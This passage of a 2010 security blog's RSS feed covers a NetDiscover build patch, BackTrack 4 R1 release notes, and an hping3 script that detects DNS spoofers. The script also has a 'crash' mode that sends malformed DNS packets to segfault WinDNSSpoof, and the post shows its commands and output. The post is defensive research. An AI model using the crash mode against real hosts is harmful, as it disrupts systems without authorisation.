<p style="text-align:left;"><a href="http://securityadventures.files.wordpress.com/2010/09/netdiscover.png"><img class="size-full wp-image-185 aligncenter" title="netdiscover" src="http://securityadventures.files.wordpress.com/2010/09/netdiscover.png?w=630" alt=""   /></a>Netdiscover is very good tool, based on libpcap (<a href="http://www.tcpdump.org/">http://www.tcpdump.org/</a>) and libnet (<a href="http://sourceforge.net/projects/libnet-dev/">http://sourceforge.net/projects/libnet-dev/</a>). No problems with libpcap, but libnet is difficult to obtain/build on recent operating systems, since it&#8217;s not more developed.</p>
<p style="text-align:left;">I&#8217;ve written a patch for NetDiscover 0.3-beta7 (the last release) that eliminates libnet dependency. To apply it:</p>
<pre><strong># cd netdiscover_directory # wget</strong> <a href="http://backtrack.it/~crossbower/netdiscover0.3-beta7-no-libnet.patch">http://backtrack.it/~crossbower/netdiscover0.3-beta7-no-libnet.patch</a>
<strong># patch -p1 &lt; netdiscover0.3-beta7-no-libnet.patch</strong>
patching file src/ifaces.c
patching file src/ifaces.h
patching file src/main.c</pre>
<p>Then you must comment some lines from configure.ac:</p>
<pre><span style="color:#3366ff;">AC_INIT([netdiscover], [0.3-beta7], [jpenalbae@gmail.com])
AC_CONFIG_AUX_DIR([build-aux])
AM_INIT_AUTOMAKE([-Wall -Werror])
AC_PROG_CC dnl Checks for header files. dnl check for pcap.h
AC_CHECK_HEADER(pcap.h,, AC_MSG_ERROR(Cannot find pcap.h - You need libpcap installed.))</span>

<span style="color:#888888;">#dnl check for libnet.h
#AC_CHECK_HEADER(libnet.h,, AC_MSG_ERROR(Cannot find libnet.h - You need libnet 1.1.x installed.))</span>

<span style="color:#3366ff;">AC_CONFIG_HEADERS([config.h]) AC_CONFIG_FILES([Makefile src/Makefile doc/Makefile]) AC_OUTPUT</span>

<span style="color:#3366ff;">printf "\nRun ./update-oui-database.sh if you want a updated MAC vendors database.\n\n" </span></pre>
<p><span style="color:#000000;">And finally compile and install with:</span></p>
<pre><strong><span style="color:#000000;"># ./autogen
# ./configure
# make
# make install </span></strong></pre>
<p>Et voila! If you are lazy (like me) this is a prepatched archive (with updated OUI): <a href="http://backtrack.it/~crossbower/netdiscover-patched.tar.gz">http://backtrack.it/~crossbower/netdiscover-patched.tar.gz</a></p>
<p>Enjoy <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><strong>Update:</strong> My patch has been <em>added to the development version of NetDiscover</em> (<a href="http://netdiscover.svn.sourceforge.net/viewvc/netdiscover/trunk/ChangeLog">http://netdiscover.svn.sourceforge.net/viewvc/netdiscover/trunk/ChangeLog</a>):</p>
<pre>Netdiscover 0.3-beta7 (Currently working on it)
   * Emanuele Acri &lt;crossbower@gmail.com&gt;: Libnet injection replaced by pcap
   ...</pre>
<p>I&#8217;m really happy <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityadventures.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityadventures.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityadventures.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityadventures.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityadventures.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityadventures.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityadventures.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityadventures.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityadventures.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityadventures.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityadventures.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityadventures.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityadventures.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityadventures.wordpress.com/184/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=184&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityadventures.wordpress.com/2010/09/11/netdiscover-libnet-purge/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c013ef111c4e94f6d22525d5c70dc91f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">crossbower</media:title>
		</media:content>

		<media:content url="http://securityadventures.files.wordpress.com/2010/09/netdiscover.png" medium="image">
			<media:title type="html">netdiscover</media:title>
		</media:content>
	</item>
		<item>
		<title>DNS Despoof(er)</title>
		<link>http://securityadventures.wordpress.com/2010/08/06/dns-despoofer/</link>
		<comments>http://securityadventures.wordpress.com/2010/08/06/dns-despoofer/#comments</comments>
		<pubDate>Fri, 06 Aug 2010 21:51:34 +0000</pubDate>
		<dc:creator>crossbower</dc:creator>
				<category><![CDATA[Attack]]></category>
		<category><![CDATA[Coding]]></category>
		<category><![CDATA[Defense]]></category>
		<category><![CDATA[Various]]></category>
		<category><![CDATA[despoof]]></category>
		<category><![CDATA[despoofing]]></category>
		<category><![CDATA[dns despoofer]]></category>
		<category><![CDATA[dns spoofing]]></category>
		<category><![CDATA[dnsspoof]]></category>
		<category><![CDATA[dsniff]]></category>
		<category><![CDATA[hping3]]></category>
		<category><![CDATA[windnsspoof]]></category>

		<guid isPermaLink="false">http://securityadventures.wordpress.com/?p=163</guid>
		<description><![CDATA[These days I was playing with some well-known tools to perform DNS spoofing in both *nix and windows environment: Dnsspoof (part of the dsniff suite) and WinDNSSpoof, of which I learned only recently. I was analyzing the generation of DNS replies when I discovered something interesting: If a request is artificially forged with arbitrary trailing [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=163&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>These days I was playing with some well-known tools to perform DNS spoofing in both *nix and windows environment: Dnsspoof (part of the <a href="http://monkey.org/~dugsong/dsniff/">dsniff suite</a>) and <a href="http://www.securiteam.com/tools/6X0041P5QW.html">WinDNSSpoof</a>, of which I learned only recently.</p>
<p>I was analyzing the generation of DNS replies when I discovered something interesting:</p>
<p><a href="http://securityadventures.files.wordpress.com/2010/08/dns_probe.png"><img class="aligncenter size-full wp-image-164" title="dns_probe" src="http://securityadventures.files.wordpress.com/2010/08/dns_probe.png?w=630" alt=""   /></a></p>
<p><a href="http://securityadventures.files.wordpress.com/2010/08/dns-response.png"><img class="aligncenter size-full wp-image-165" title="dns-response" src="http://securityadventures.files.wordpress.com/2010/08/dns-response.png?w=630" alt=""   /></a></p>
<p>If a request is artificially forged with arbitrary trailing bytes, these bytes are replicated in replies of DNS spoofer. The DNS response, since it must contain a copy of the query sent to the server, is generated with a simple memcpy () without being fully parsed.</p>
<p>Due to this behavior, we can easily find out if we are victims of DNS spoofing, if the attacker uses one of these stateless tools (essentially sniffers based on pcap). Of course this permit to detect the spoofer even if the attacker is not using ARP spoofing or other visible techniques.</p>
<p>So I wrote a script, quite easy to use, to automate this test. It&#8217;s based on <a href="http://www.hping.org/">hping3</a> tcl shell, which provides (IMHO in an easier manner than <a href="http://www.secdev.org/projects/scapy/">scapy</a>) a framework for packet forging. Let&#8217;s see how to use the tool:</p>
<pre><span style="color:#ff0000;">root@backtrack-base#</span> <strong>hping3 exec dns_despoof.tcl</strong>
<span style="color:#0000ff;">DNS Despoofer - Emanuele "Crossbower" Acri - 2010
 Usage: hping3 exec dns_despoof.tcl &lt;server&gt; &lt;interface&gt; (&lt;action:search|crash&gt;)</span>
<span style="color:#ff0000;">
root@backtrack-base#</span> <strong>hping3 exec dns_despoof.tcl192.168.56.101 vboxnet0 search</strong>
<span style="color:#0000ff;">SPOOFER DETECTED!</span></pre>
<p>In this case dnsspoof was running.</p>
<p>The tool has also another function: crash. This function injects a malformed packet, where the DNS name is not terminated by a null character. The tools that fail to properly parse the requested will exhibit a nice segfault. This is the case of WinDNSSpoof.</p>
<p>Dnsspoof, instead, uses the function dh_expand, contained in resolv.h, which is able to detect this type of error:</p>
<pre>if ((i = dn_expand((u_char *)dns, end, p, name, sizeof(name))) &lt; 0)
 return;</pre>
<p>Crash example:</p>
<pre><span style="color:#ff0000;">root@backtrack-base#</span> <strong>hping3 exec dns_despoof.tcl 192.168.56.101 vboxnet0 crash</strong>
<span style="color:#0000ff;">Bullet fired... Try again to search for spoofers:
 1) No responses: the spoofer is probably crashed (windnsspoof).
 2) Responses: it's a well written spoofer (dnsspoof).</span></pre>
<p>A subsequent test will allow to realize whether the tool crashed or not, so this may also be a sort of fingerprint.</p>
<p>Here&#8217;s the source code of the tool (<a href="http://pastebin.com/78y4snFk">http://pastebin.com/78y4snFk</a>). It&#8217;s only able to make a request with the name &#8220;google.com&#8221;, but can be easily adapted.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityadventures.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityadventures.wordpress.com/163/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityadventures.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityadventures.wordpress.com/163/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityadventures.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityadventures.wordpress.com/163/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityadventures.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityadventures.wordpress.com/163/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityadventures.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityadventures.wordpress.com/163/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityadventures.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityadventures.wordpress.com/163/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityadventures.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityadventures.wordpress.com/163/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=163&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityadventures.wordpress.com/2010/08/06/dns-despoofer/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c013ef111c4e94f6d22525d5c70dc91f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">crossbower</media:title>
		</media:content>

		<media:content url="http://securityadventures.files.wordpress.com/2010/08/dns_probe.png" medium="image">
			<media:title type="html">dns_probe</media:title>
		</media:content>

		<media:content url="http://securityadventures.files.wordpress.com/2010/08/dns-response.png" medium="image">
			<media:title type="html">dns-response</media:title>
		</media:content>
	</item>
		<item>
		<title>BackTrack 4 R1 – Public Release</title>
		<link>http://securityadventures.wordpress.com/2010/08/05/backtrack-4-r1-%e2%80%93-public-release/</link>
		<comments>http://securityadventures.wordpress.com/2010/08/05/backtrack-4-r1-%e2%80%93-public-release/#comments</comments>
		<pubDate>Thu, 05 Aug 2010 22:28:19 +0000</pubDate>
		<dc:creator>crossbower</dc:creator>
				<category><![CDATA[BackTrack]]></category>
		<category><![CDATA[backtrack 4 r1]]></category>

		<guid isPermaLink="false">http://securityadventures.wordpress.com/?p=155</guid>
		<description><![CDATA[There&#8217;s not much to say&#8230;<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=155&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><em>There&#8217;s not much to say&#8230;</em></p>
<p style="text-align:center;"><img class="aligncenter" title="r1-release" src="http://www.backtrack-linux.org/images/r1-release-v5-BTL-blog.png" alt="backtrack 4 r1 release" width="440" height="248" /></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityadventures.wordpress.com/155/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityadventures.wordpress.com/155/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityadventures.wordpress.com/155/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityadventures.wordpress.com/155/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityadventures.wordpress.com/155/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityadventures.wordpress.com/155/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityadventures.wordpress.com/155/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityadventures.wordpress.com/155/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityadventures.wordpress.com/155/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityadventures.wordpress.com/155/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityadventures.wordpress.com/155/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityadventures.wordpress.com/155/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityadventures.wordpress.com/155/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityadventures.wordpress.com/155/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=155&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityadventures.wordpress.com/2010/08/05/backtrack-4-r1-%e2%80%93-public-release/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c013ef111c4e94f6d22525d5c70dc91f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">crossbower</media:title>
		</media:content>

		<media:content url="http://www.backtrack-linux.org/images/r1-release-v5-BTL-blog.png" medium="image">
			<media:title type="html">r1-release</media:title>
		</media:content>
	</item>
		<item>
		<title>Backtrack 4 R1 &#8220;chiccas&#8221;</title>
		<link>http://securityadventures.wordpress.com/2010/07/21/backtrack-r1-chiccas/</link>
		<comments>http://securityadventures.wordpress.com/2010/07/21/backtrack-r1-chiccas/#comments</comments>
		<pubDate>Wed, 21 Jul 2010 10:11:32 +0000</pubDate>
		<dc:creator>crossbower</dc:creator>
				<category><![CDATA[BackTrack]]></category>
		<category><![CDATA[Various]]></category>
		<category><![CDATA[backtrack 4 r1]]></category>
		<category><![CDATA[backtrack blackhat]]></category>
		<category><![CDATA[blackhat]]></category>

		<guid isPermaLink="false">http://securityadventures.wordpress.com/?p=141</guid>
		<description><![CDATA[After many sleepless nights and bloody battles that have changed the physiognomy of backtrack&#8217;s developers (group photo just before the release), I wanted to show you some chiccas (goodies) of the new BackTrack 4 R1. First of all, by popular demand, the network configuration software WICD has been updated to version 1.7.0. Not only that, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=141&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>After many sleepless nights and bloody battles that have changed the physiognomy of backtrack&#8217;s developers (<a href="http://www.best-horror-movies.com/images/notld-zombie-group-small.jpg">group photo just before the release</a>), I wanted to show you some chiccas (goodies) of the new <strong>BackTrack 4 R1</strong>.</p>
<p>First of all,<em> by popular demand</em>, the network configuration software <strong>WICD has been updated to version 1.7.0</strong>. Not only that, there are interfaces for all tastes:</p>
<p><a href="http://securityadventures.files.wordpress.com/2010/07/wicd_guis.png"><img class="aligncenter size-full wp-image-142" title="WICD interfaces" src="http://securityadventures.files.wordpress.com/2010/07/wicd_guis.png?w=630" alt=""   /></a></p>
<p>So if you are a shell&#8217;s fanatics, like those cool guys who have won the last edition <a href="http://www.wardriving.it">SecSum CAT</a>, I hope you will appreciate the curses interface that allows you to switch between wireless networks in a more human manner (if you prefer airodump-ng + iwconfig, well, I recommend <a href="http://en.wikipedia.org/wiki/Psychiatry">this</a>).<br />
For ordinary mortals the new gtk GUI will be just fine <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Many changes also in the Snort package: improved installation process and the possibility to choose between <em>two different web interfaces</em>: <strong>BASE</strong> and <strong>Snorby</strong>.</p>
<p><a href="http://securityadventures.files.wordpress.com/2010/07/snort.png"><img class="aligncenter size-full wp-image-144" title="Snort web interfaces" src="http://securityadventures.files.wordpress.com/2010/07/snort.png?w=630" alt=""   /></a></p>
<p>And because we like eye-candy <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  :</p>
<p><a href="http://securityadventures.files.wordpress.com/2010/07/schermata-2010-07-21-a-08-56-56.png"><img class="aligncenter size-full wp-image-145" title="Schermata-2010-07-21-a-08.56.56" src="http://securityadventures.files.wordpress.com/2010/07/schermata-2010-07-21-a-08-56-56.png?w=630" alt="Eye-candy Snorby"   /></a></p>
<p>And last but not least, the introduction of <strong>Dragon</strong>, a new <strong>CLI Control Panel</strong> for BackTrack.</p>
<p>With this tools we hope to automate a number of operations that users have so far done manually or using external scripts (more or less official, more or less working).</p>
<p>Dragon can easily <strong>handle the installation of new tools</strong>, installed now following a new <strong>category-based method</strong>, after the genocide of the annoying &#8220;bulk mega metapackages&#8221; <img src='http://s2.wp.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>In addition the selection of the<strong> default desktop manager</strong>, the <strong>management of firmware</strong> and <strong>kernel-source</strong>, is now possible even for the less experienced.</p>
<p><a href="http://securityadventures.files.wordpress.com/2010/07/dragon.png"><img class="aligncenter size-full wp-image-147" title="BackTrack Dragon" src="http://securityadventures.files.wordpress.com/2010/07/dragon.png?w=630" alt=""   /></a></p>
<p>If you want more information about Dragon, <em>Emanuele Gentili wrote a post on his blog</em> and made an <strong>usage video</strong>: <a href="http://www.emanuelegentili.eu/backtrack-dragon-preview/index.elite">have a look!</a></p>
<p>That&#8217;s all folks, cya <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>PS: This would not have been possible without the cooperation of all. In particular I wish to greet <a href="http://www.emanuelegentili.eu/">Emanuele &#8220;emgent&#8221; Gentili</a> and <a href="http://twitter.com/white__sheep">Marco &#8220;white_sheep&#8221; Rondini</a>, without which we would not have Dragon and &#8220;credits &#8211;candycandy&#8221;(try it out&#8230;)</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityadventures.wordpress.com/141/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityadventures.wordpress.com/141/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityadventures.wordpress.com/141/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityadventures.wordpress.com/141/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityadventures.wordpress.com/141/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityadventures.wordpress.com/141/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityadventures.wordpress.com/141/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityadventures.wordpress.com/141/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityadventures.wordpress.com/141/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityadventures.wordpress.com/141/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityadventures.wordpress.com/141/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityadventures.wordpress.com/141/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityadventures.wordpress.com/141/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityadventures.wordpress.com/141/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityadventures.wordpress.com&amp;blog=6407269&amp;post=141&amp;subd=securityadventures&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityadventures.wordpress.com/2010/07/21/backtrack-r1-chiccas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c013ef111c4e94f6d22525d5c70dc91f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">crossbower</media:title>
		</media:content>

		<media:content url="http://securityadventures.files.wordpress.com/2010/07/wicd_guis.png" medium="image">
			<media:title type="html">WICD interfaces</media:title>
		</media:content>

		<media:content url="http://securityadventures.files.wordpress.com/2010/07/snort.png" medium="image">
			<media:title type="html">Snort web interfaces</media:title>
		</media:content>

		<media:content url="http://securityadventures.files.wordpress.com/2010/07/schermata-2010-07-21-a-08-56-56.png" medium="image">
			<media:title type="html">Schermata-2010-07-21-a-08.56.56</media:title>
		</media:content>

		<media:content url="http://securityadventures.files.wordpress.com/2010/07/dragon.png" medium="image">
			<media:title type="html">BackTrack Dragon</media:title>
		</media:content>
	</item>
	</channel>
</rss>
